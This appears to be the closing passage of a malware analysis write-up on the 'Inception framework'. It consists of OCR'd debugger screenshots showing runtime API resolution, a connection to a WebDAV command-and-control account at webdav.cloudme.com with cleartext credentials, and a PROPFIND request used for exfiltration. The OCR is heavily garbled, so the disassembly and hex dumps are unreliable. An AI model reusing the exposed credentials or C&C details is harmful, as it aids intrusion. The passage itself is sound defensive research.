runtime import table to hinder the analysis. Analyst cannot directly see which API gets called.



(>

[<

v

?FF44E75| FFi5 688OF57F E%LL DWORD PIR DS:[7FF5806817 |

7FF44E7B| 8BFS8 L EAR

7FF44E7D| 8SFF TEST EDI,EDI

7FF44E7F |, 75 SE JNZ SHORT 7?FF44EDF

7FF44E81| 3985 3CCFF57F CMP DWORD PTR DS:[?FFS5CF3C1,EAY

7FF44E87 |, 74 40 JE SHORT 7?FF44EC9

7?FF44E89 | 56 PUSH ESI

7FF44E8A| E8 9C240000 CALL ?FF4732B

7?FF44E8F| 59 POP ECX ?FF?FBF?

7FF44E90| 85CO TEST EAX.EAX

7FF44E92 |, 74 1D JE SHORT ?FF44EBi

7FF44E94| 83FE E@ CMP ESI,

7?FF44E97 |~ 76 CB JBE SHORT 7FF44E64

7?FF44E99 | 56 PUSH

7FF44E9A| E8 8C240000 CALL 7FF4?32B

?FF44E9F| 59 POP ECX ?FF?FBF?

7FF44EAB| ES 3E1A0000 CALL 7FF468E3

7FF44EAS | C?700 9CORPAOR MOU DWORD PTR DS:[EAX1,0C API Call

7FF44EAB| 33CO XOR EAX,EAR

7?FF44EAD| GSF POP EDI ?FF?FBF?

7?FF44EAE| 5E POP ESI ?FF?FBF?

?FF44EAF| 5D POP EBP ?FF?FBF?

7?FF44EBA| C3 RETN

7FF44EB1| ES8 2D1A00O0 CALL 7FF468E3

7FF44EB6 | S8BF@ 'MOIL_ESI, EAX

7FF44EBS | FF15 4C81F57F [[€ALL DWORD PTR DS: [?FF5814C]

7?FF44EBE| 5@ PUSH EAX

7FF44EBF| E8 DD1909000 CALL ?7FF468A1

?FF44EC4| 59 POP ECX ?FF?FBF?

7FF44EC5 | 89086 MOU DWORD PTR DS:[ESI1,EAX

7FF44EC7 |~ EB E2 JMP SHORT ?FF44EAB

7FF44EC9| E8 151A0000 CALL ?FF468E3

7FF44ECE| 8BF@ 'MOU_FST,FAX

?FF44EDA FF15 4C81F57F CALL DWORD PTR DS:[?FF5814C] |

?FF44ED6 PUSH EAX

7?FF44ED? Es C5190000 CALL ?7FF468A1

?FF44EDC| 59 POP ECX ?FF?FBF?

7FF44EDD| 8906 MOU DWORD PTR DS:[ESI1,EAX

7FF44EDF| 8BC? MOU EAX.EDI

7FF44EE1 |~ EB CA JMP SHORT 7FF44EAD

UDDTAEFQ QRER MNIl ENT ENT

<L

fiddress |Hex dump ASCII -~ 3;;3‘6353

?FF57FFS |00 00 00 00 00 00 OB 00 B9 2C DD 27 BA 7F DD 72| ........ Tullelw

7?FF580@8 (4D 49 DE 77 |A8 7C DD 77 00 08 00 608 7B 99 88 7C|MI fui !fw....<{0C 8007CCE4 ¥aaeraa1

?FF580A18 |81 9F 8@ 7C|5a 13 91 7C|EG 10 98 7C 08 18 98 2C ufc:zym.uré..>é' a007CCES atalilala i la )

?FF58028 |64 A8 8@ 7C|E1 9A 88 7C|74 9B 88 7C 75 FA 88 7C|diC!BUCItCCiu-C! 8887CCEG 80880004

?FF58@38 |84 F1 8@ 7C 65 B4 8@ 2C|CD BF 88 7C|AB@ 9F 8@ 72C|aGiedCi=CiafC! B LA

7?FF58048 [B? 16 83 7C|6E 2B 81 7C /@D FF 98 7C|E9 17 88 7C|p-ain+iii. E:01(! 80a37CCF4 ?FF30000

?FF58058 [A4 @@ 91 2C|B8 97 8@ 7C |05 34 91 2C|AD 2F 81 7C|d.=!qul !&d=!i ii! 80a7CCF8 88004550

Eppssass 80 9B 91 7C|46 2C 81 7C|88 OF 81 7C| A5 AB 92 7C|C¢=!F. iiié%di iNE! a887CCFG 808401 4C
1A 1E 8@ 7C|85 DE 88 7C|6A 3E 86 7C|[|«C!»AC !X C!j>4! a087¢Dan 471D961E

?FF58088 |[FD 49 84 7C|23 31 81 7C|38 AE 80 7C CD E4 88 7C|2Ia!#1ii!0«L !=EC! a8087¢Da4 atalilala il 0]

?FF580A98 |[FA CA 81 7C|17 @E 81 7C|C9 2F 81 7C DF 33 91 7C| -*4i!tfi!n/iii™=! 8887GDas it (i)

?FF580A8 | 2F 2E 81 7C| D@ 97 8@ 7C 55 9C 8@ 7C 67 37 81 7G|/ iiiMuC UEC g7 88a7¢Dac 210200E@

7?FF580@BS [F6 97 88 7C |98 C1 8@ 7C|BA 98 8@ 7C|46 24 88 7C -uc ?lc..yc 1FSC ! 80a7¢D10 BBBAAa1 08B

?FF580C8 (27 CD 8@ 7C|B? B8 88 ?C|E1 BE 81 7C 54 1E 88 7C eI Ty 8087CD14 8a0826Ca0

?FF58@D8 |SF BS5 8@ 7C|?7 4B 81 7C|64 Al 88 7C 98 2F 81 7C 1c.uxu.dlc %t a887GCD18 atalila) i Ja )

?FFS80ES (B? A4 8@ 7C 2E 93 8@ 7C BO 99 8@ 7C| DB AE 88 7C|pdC!.5C 1N0C k& ! a887GCD1G atalilal el

?FF580F8 |86 2F 81 7C|A5 99 8@ 7C |37 28 81 7C|5B 11 81 7C|®/ii!NOC !7Cii! [«ii! 88a7¢D2a 9Ba14E13

7?FF58108 (88 9C 88 7C BD 84 91 7C |38 CD 8@ 7C|28 A5 8@ 7C|&FCiUex!8=C! NC! 80a7CD24 88001000

?FF58118 (12 18 88 2C|1E @8C 81 ?C|63 D3 81 7C|F3 50 87 ?C|$1C!a.iiic Uii<Pc! 80a7CD28 80028000

7?FF58128 (38 AC 81 7C|D1 26 81 7C|9C 54 83 7C F@ @7 81 7C|8%ii78&ii!FTA!=eii} =|8887CD2G 18000000

?FF58138 7B 1D 8@ 7C|31 B? 8@ 7C|94 17 82 7C | C5 1E 83 7C|{of!1inCicté 4! = gggggggg ggggéggg

7EESS148|39 07 88 7€ D7 98 98 7¢|10 FE 30 7C|3=gioné e ivier|  [RAREDS Bt AR

Finally we can see it’s connecting to webdav.cloudme.com and cleartext credentials in following

screenshot.


http://webdev.cloudme.com/

LT ggFF gggHElE)él"Enl INetAddConnection2A I ~|Registers CFPUD <
1 Tt m
i o8 Eak ERF 1 BT
71B24ACB| 50 PUSH EAR EE§ 2?23335&
71B24ACC| 50 PUSH EAX ESP GBBYDICE
71B24ACD| 50 PUSH EAX ERP 098YD214
71B24ACE| FF?5 14 PUSH DWORD PTR SS:[EBP+141 ESI 9Ba0R61
71B24AD1| FF?5 18 PUSH DWORD PTR SS:[EBP+1@1 EDI 9808805
21B240N4| FE?25 Q[ PIISH DUNRN PTR S8 :TFRP+1
EDI =00000000
Address |[Hex dum ASCII PN 987D1CC 7FF51GC3 |[RETURN to 7FF51CC3 from 7FF57BB4
PBB7D1ES D R #au?7D1 D48 ABA7?D1ES
@8@7D1F8 98@7D1D4 @OE93ESF (ASCII VanK@@l Y_ password
APA?7D208 |0 9@ B0 PP @@ B PP 9@ 20 AP @A OA 3C D2 07 @8 |........ .. [9997D1D8 BQE93E2@ ASCIT “himmd276" .
99A7D218 |6F 1F F5 ?F A@ 3D E9 @@ 2@ 3E E9 @@ SF 3E E9 8@ o¥Jad=8. >8 [9997D1DC 80000004 S
9an7D228 |2C D2 97 0P 90 9P PO B PP B0 0P PA 50 19 F3 0@ |.pe........ |9007DiE0 @000000a User name
APA7D238 | @@ AP B @@ 68 D2 @7 @@ 89 23 F5 ?F A@ 3D E9 @@ ....hge.&ft) [0997D1E4 80008000
PPA7D248 |28 3E E9 @@ S5F 3E E9 @@ A4 3E E9 9@ @@ 20 F5 ?F| >B._>B.a>8 [D9O7DIES alslililalolo o
9PA7D258 |5C D2 07 @0 @@ 0P 0 A0 PP 0P B0 @0 OO 00 B0 B0 |\me-....... 98a7D1EC 80000001
9PA7D268 |BC D2 @7 @@ 4E 2A F3 ?F A@ 3D E9 @@ 2@ 3E E9 00 |Upe Nx<ai=g [D997D1FA 88000360
99970278 |5F 3E E9 8@ A4 3E E9 0@ 98 D2 @7 88 9C D2 @7 88| _>8.i>8.ine 33333{;3 gggggggg
Sgggg%gg pH PR e aajooiie1goosanyen;anyonsr. 7g Myitlooodsh APA?D1FC @PE?3DAB |[ASCII |“http://webdav.cloudme .com/himm4276/CloudDrive /"
#887D2A8 =|80807D200 51515150515 ]%]5)
ABA?D2B8 ABA?7D2084 ARBRRBA
PPA7D2CS APA7D208 PRARAAAA
#AB?7D2D8 8887D28C [51a]5]5]5]5]5]%)
BAB?D2ES 8#eB?7D216 1515151515 p45]
peat il 33333313 2223?%2% RETURN 7FF51F6F £ 7FF51C40
2 00 @ 8 i - to rom
gggggg?g gg 2; g: ;g 2Dg 35 ;Z %E ;E gg E; gg g: gg 3 gg l;ﬁi-;‘:".l 1] d aBa?7D21C BBE?3DAA |ASCII “http://webhdav.cloudme.com/bimm4276/CloudDrive/"
00A?7D328 |B? 12 F3 ?F 44 D3 @7 08 51 D? 46 A1l 00 00 nt.‘.oDH-.Q"F 808a7D220 BOE?3E20 (ASCIT “himmd276" .
PPA?7D338 (A1 F? ?F FE FF FF FF 40 F@ 09 00 |G..... ~al 00@7D224 BBE?3ESF (ASCIT “amK@@
AAATN24% |AR AR AR AR A1 AR AR AR 7" A4 AR AR AR AR A AR =) ‘e 80887D228 8887D22C

Malware tries to communicate with the user account created at the WebDAV C&C to exfiltrate system and

user information.

PROPEIND ARimmd 276,/C loudDrive/0gk OvEkXOxqZ8t AAGT /pgpHNoeAG68TQIBA_T3 HTTP/L1.1
Depth: O

translate: T

User-aAgent: Microsoft-webbav-mMiniredir,/5.1.2600

Host: [webdav. cToudme. com|

Zontent-Length: O

Zonnection: Keep-Alive

authorization: Digest
username="himm4 276"

Reference:

https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9C-

inception-framework%E2%80%9D-very-sophisticated-layered-malware
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